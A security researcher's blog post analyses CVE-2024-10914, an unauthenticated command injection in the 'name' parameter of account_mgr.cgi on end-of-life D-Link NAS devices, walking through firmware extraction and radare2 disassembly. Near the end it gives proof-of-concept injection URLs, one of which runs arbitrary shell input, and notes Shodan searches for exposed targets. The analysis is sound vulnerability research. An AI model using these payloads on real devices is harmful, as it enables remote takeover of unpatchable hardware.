Woke up today to find a juicy new Command Injection vulnerability hitting D-Link devices. While it’s no surprise to see vulnerabilities popping up every other day, this one caught my eye. Why? I’ve been hands-on with these devices before, so I thought, Why not dive in and see what’s actually going down?

Here’s the kicker D-Link isn’t bothering to fix it. Why? Because these devices are officially End of Life. Translation? If you’re rocking one of these old units, you’re on your own. No more software updates, no security patches, no support from D-Link. Time to drop cash on a new device.

Alright, It all comes down to the name parameter. The issue lies in how the cgi_user_add command within the account_mgr.cgi script handles this parameter. Essentially, this flaw allows an unauthenticated attacker to inject arbitrary shell commands through specially crafted HTTP GET requests. And the worst part? It’s pretty easy to exploit.

Shoutout to netsecfish for discovering this vulnerability.

References: Command Injection Vulnerability in name parameter for D-Link NAS - netsecfish

Alright, time to grab the firmware and start peeling back the layers to see what this vuln is really about. I snagged the firmware for one of the affected models, the DNS-340L. This thing’s got a compile date from 2018, and guess what? No more updates.

You can find the firmware here: DNS-340L Firmware

Alright, let’s kick things off with the firmware analysis. After you grab the firmware, you’ll see it’s wrapped in a ZIP file. Unzip it, and you’ll be left with a binary that we’ll need to dig into. But here’s the thing if you run the file command on this binary, it’s just gonna tell you it’s “LIF” (Linux Initial File System). So, what now?

Easy. A lot of the time, especially when the firmware isn’t encrypted (which is pretty common with many manufacturers), we can use Binwalk. This tool scans the firmware image, hunts down known file types or compressed formats, and then extracts them. It keeps peeling the onion, recursively unpacking everything, layer by layer. What we usually end up with is either a SquashFS file system (a compressed, read-only file system that’s used at runtime) or a JFFS2 file system (a journaled flash file system). These are the juicy file systems we want to work with since they contain the binaries we need to start poking around.

img

keep in mind the SquashFS so you need to mount it to browse through, Alright so from the article, we know the vulnerability lies within the account_manager.cgi script.

So, now the goal is to see if we can locate this script within the extracted files, Alright, we’ve got an executable, so let’s put it in r2 and see what we can find. But before we go into that, I ran a stringscommand for printable strings from the binary. I looked for a specific string, cgi_user_add, because that’s where the vuln is triggered. and I think I’ve found what could be causing the injection.

Take a look at this,

img

We begin with the function sym.cgiMain, which calls fcn.000154f0 at address 0x23848. This is a critical part of the program’s flow, handling data likely coming from a web form, probably the HTTP POST request, though this exact detail isn’t clear yet. What we see immediately is the function beginning with stack adjustments, a common pattern in ARM;

pdf @ fcn.000154f0
            ; CALL XREF from sym.cgiMain @ 0x23848(x)
 200: fcn.000154f0 ();
           ; var int32_t var_3000h @ sp-0x100
           ; var int32_t var_3080h @ sp-0x80
           ; var int32_t var_3000h_2 @ sp+0x20
           0x000154f0      f0412de9       push {r4, r5, r6, r7, r8, lr}
           0x000154f4      31dc4de2       sub sp, sp, 0x3100
           0x000154f8      20d04de2       sub sp, sp, 0x20
           0x000154fc      034a8de2       add r4, var_3000h
           0x00015500      c26d8de2       add r6, var_3080h
           0x00015504      204084e2       add r4, r4, 0x20
           0x00015508      206086e2       add r6, r6, 0x20
           0x0001550c      0410a0e1       mov r1, r4
           0x00015510      8020a0e3       mov r2, 0x80
           0x00015514      9c009fe5       ldr r0, str.name            ; 

It’s interesting to note how the function dynamically allocates space for what we can assume are local variables (the form data in this case). The function’s layout suggests that a significant amount of data is being processed in this function, given the large stack adjustment of 0x3100 bytes, which is quite a chunk of memory.

The real action starts as the function prepares to process form inputs by adjusting register values. r4 and r6 are used to hold references to specific buffers that will hold the extracted form data. r4 seems to be the buffer for the “name” field, and r6 is likely for the password (pw). This part indicates that the program is working with user-submitted form data, which is typical in CGI-based web applications

Also we see the string “name” loaded and passed to cgiFormString, which is probably a helper function for extracting the value of the name field from the HTTP request, the function handles the password field (pw), repeating a similar sequence of operations. The code uses cgiFormStringagain, this time passing the string “pw” to get the password input, and Similarly, the function extracts the “group” field, following the same process. These form field extractions make it clear that the function is processing a user input form, possibly for account creation or authentication,

[0x284f4:4]=0x656d616e ; "name"
           0x00015518      20508de2       add r5, sp, 0x20
           0x0001551c      0df5ffeb       bl sym.imp.cgiFormString
           0x00015520      0610a0e1       mov r1, r6
           0x00015524      8020a0e3       mov r2, 0x80
           0x00015528      8c009fe5       ldr r0, str.pw              ; [0x29258:4]=0x7770 ; "pw"
           0x0001552c      09f5ffeb       bl sym.imp.cgiFormString
           0x00015530      0510a0e1       mov r1, r5
           0x00015534      032aa0e3       mov r2, 0x3000
           0x00015538      80009fe5       ldr r0, str.group           ; [0x2ac60:4]=0x756f7267 ; "group"
           0x0001553c      05f5ffeb       bl sym.imp.cgiFormString
           0x00015540      00c0a0e3       mov ip, 0
           0x00015544      0c10a0e1       mov r1, ip
           0x00015548      74e09fe5       ldr lr, str._p              ; [0x28e50:4]=0x702d ; "-p"
           0x0001554c      0c00a0e1       mov r0, ip
           0x00015550      70309fe5       ldr r3, str._a              ; [0x28e48:4]=0x612d ; "-a"
           0x00015554      70709fe5       ldr r7, str._u              ; [0x28e4c:4]=0x752d ; "-u"
           0x00015558      70809fe5       ldr r8, str._l              ; [0x28e54:4]=0x6c2d ; "-l"

At this point, the function seems to be gathering all the data needed for further processing, So after extracting the form data, it sets up arguments and prepares to execute a series of operations, So far so good, there’s nothin’ wrong with this,

So I decided to recap the flow and stick to actually logic and not follow the rabbit hole, and trace the vuln with the information that we already got, If we go back to the PoC published in the article I referenced earlier, we can clearly see that an attacker sends a crafted HTTP GET request to the NAS device with malicious input in the name parameter. The URL triggers the cgi_user_add command with a name parameter that includes an injected shell command.

Alright, let’s take a sec to think about what we’ve got here. We’re dealing with a program that processes user inputs names, passwords, and groups. right? But then we hit a critical part of the code: the part that deals with creating users and modifying groups. This is where the magic happens, or rather, where things can go terribly wrong if we’re not careful.

Now, this implies that the program is set up to execute shell commands classic system behavior, right? The system function itself is very easy to get wrong, especially when handling untrusted input. CGI an ELF file that runs as a program when you provide it with commands, right?

So after some digging, guess what,

img

the account takes user input and then throws that input directly into a shell command executed by system(). And let’s be clear, we’re talking about sensitive input here: usernames, passwords, and group names. Now, this wouldn’t be much of an issue if these inputs were tightly controlled and validated. But in this case, they’re not. The program just blindly uses them in commands like adduserusermodgpasswd, and smbpasswd.

You know what happens when you blindly trust user input, right?

This is the interesting part. When you look at the overall code in the program, you notice that in other places, they’ve been smart enough to use safe_system() instead of system(). This is a safer alternative, they wrote and designed against command injection. 

So for example, the process involves sanitizing and “securely” executing commands constructed with user-provided inputs like namepw, and group. Even in the disassembly, we see how the binary painstakingly constructs command arguments (e.g., -p-u-a, etc.) before handing them off to safe_system which is essentially a wrapper to prevent and it’s used in most parts of the program.

[0x00010a9c]> axt @ sym.imp.safe_system
(nofunc) 0x10a9c [NULL:r--] andeq r2, r1, r4, lsr 11
fcn.000154f0 0x1557c [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x159d8 [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x15c9c [CALL:--x] bl sym.imp.safe_system
fcn.000160d8 0x16118 [CALL:--x] bl sym.imp.safe_system
fcn.00016e28 0x16fa0 [CALL:--x] bl sym.imp.safe_system
fcn.00017110 0x1719c [CALL:--x] bl sym.imp.safe_system
fcn.00017f4c 0x17fdc [CALL:--x] bl sym.imp.safe_system
fcn.00018034 0x185e4 [CALL:--x] bl sym.imp.safe_system
fcn.00018678 0x18748 [CALL:--x] bl sym.imp.safe_system
fcn.0001d71c 0x1da04 [CALL:--x] bl sym.imp.safe_system
fcn.0001dbe4 0x1de6c [CALL:--x] bl sym.imp.safe_system
fcn.000213b4 0x216ac [CALL:--x] bl sym.imp.safe_system
fcn.000219b4 0x21a34 [CALL:--x] bl sym.imp.safe_system

pdf @ sym.imp.safe_system
            ;-- rsym.safe_system:
            ; XREFS: 0x00010a9c  CALL 0x0001557c  CALL 0x000159d8  CALL 0x00015c9c  CALL 0x00016118  CALL 0x00016fa0  
            ; XREFS: CALL 0x0001719c  CALL 0x00017fdc  CALL 0x000185e4  CALL 0x00018748  CALL 0x0001da04  CALL 0x0001de6c  
            ; XREFS: CALL 0x000216ac  CALL 0x00021a34  
 12: sym.imp.safe_system ();
           0x000125a4      00c68fe2       add ip, pc, 0, 12
           0x000125a8      2aca8ce2       add ip, ip, 0x2a000
           ; CODE XREF from sym.imp.safe_system @ 0x125a4(w)
           0x000125ac      e0fcbce5       ldr pc, [ip, 0xce0]!

Now the frequent usage of safe_system implies that the developers were acutely aware of potential risks. We can see the cross-references it’s being called in a lot of places, So, WTF?

But here’s the problem in the account, they just went ahead and used system(),

You might be asking, why didn’t they just use safe_system() here in the first place? It would have been a simple fix, right? Well, that’s where the disconnect happens. It’s possible that two different teams were working together with poor communication. If they had just used safe_system() in the account binary, they would have mitigated the risk of command injection with one simple change.

It’s like putting a lock on the door after realizing there’s a big hole in the wall. The reality is, you could recompile the account to use safe_system(), effectively fixing the issue.

So, what do we learn from all this? It’s a classic case of not applying a consistent level of security throughout the program. In this case, everything else seems to be fine(not eveythin’ just in work of safe_system) but because they missed using safe_system() in the account, This is a perfect example of how overlooking even one small entry point can leave the entire application exposed,

Now let’s end this by a simple PoC exploit, At the end of the day, there’s no vulnerability without a proof of concept, right?

sends a request to the vulnerable endpoint (/cgi-bin/account_mgr.cgi?cmd=cgi_user_add) uses the echo {verify_string} command. This confirm whether the system executes commands injected through the name parameter. The verify_string is a random string we generate, which serves as a marker in the response. If we see that string in the server’s response, we know the system executed our injected command meaning it’s vulnerable.

verify_string = "".join(random.choice(string.ascii_letters) for _ in range(5))
cmd = f"echo {verify_string}"
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"

The cool thing is that because the name parameter is passed directly to system(), any shell command including ones like rm -rf

cmd = input("$ ")
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"

Reference :_ exploit.py - CVE-2024-10914

Alright, let’s take a quick detour, Who might be exploiting this? What’s their motive? And how widespread could the impact be? With this particular vulnerability,

These are older D-Link NAS devices often used in small offices, homes, or by hobbyists. This makes them a prime target for attackers looking for low-hanging fruit devices that are often exposed to the internet but rarely updated or monitored, and this specific This kind of exploit is attractive to a wide range of actors, from skilled operators to skids, I bring up “operators” because this perfectly fits within the scope of botnet operations.

img

If we search for potential targets on Shodan, we’re specifically looking for devices running a certain version of the Lighttpd web server. This search yields only about 78 results, and I’m confident some of these aren’t actually vulnerable despite matching the exact version. That said, attackers don’t need all 78 to be exploitable; even a small number of vulnerable devices could be enough, Now, this is just what Shodan shows us, So i’m pretty sure there’s lot out here, just exposed to the internet

So, what does this mean in terms of impact? In short, The lack of support for these older devices only adds fuel to the fire, as users are left with no official patches or updates to protect themselves, and we know how seriously people take security - until it’s too late.

—-[References] ———————————————————————————————————–